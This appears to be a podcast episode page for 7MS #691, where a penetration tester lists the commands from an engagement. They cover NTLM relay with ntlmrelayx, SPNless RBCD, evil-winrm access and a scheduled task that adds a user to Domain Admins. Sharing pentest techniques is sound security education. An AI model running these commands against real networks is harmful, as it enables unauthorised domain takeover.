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7MS #691: Tales of Pentest Pwnage – Part 75
Manage episode 504661249 series 3603998
المحتوى المقدم من Brian Johnson. يتم تحميل جميع محتويات البودكاست بما في ذلك الحلقات والرسومات وأوصاف البودكاست وتقديمها مباشرة بواسطة Brian Johnson أو شريك منصة البودكاست الخاص بهم. إذا كنت تعتقد أن شخصًا ما يستخدم عملك المحمي بحقوق الطبع والنشر دون إذنك، فيمكنك اتباع العملية الموضحة هنا https://ar.player.fm/legal.
Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today’s episode:
- Got an SA account to a SQL server through Snaffler-ing
- With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here
- I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv
- I didn’t have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here
- Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket
- From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName
- Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f
- …and ran it: schtasks /run /tn "TotallyFineTask"
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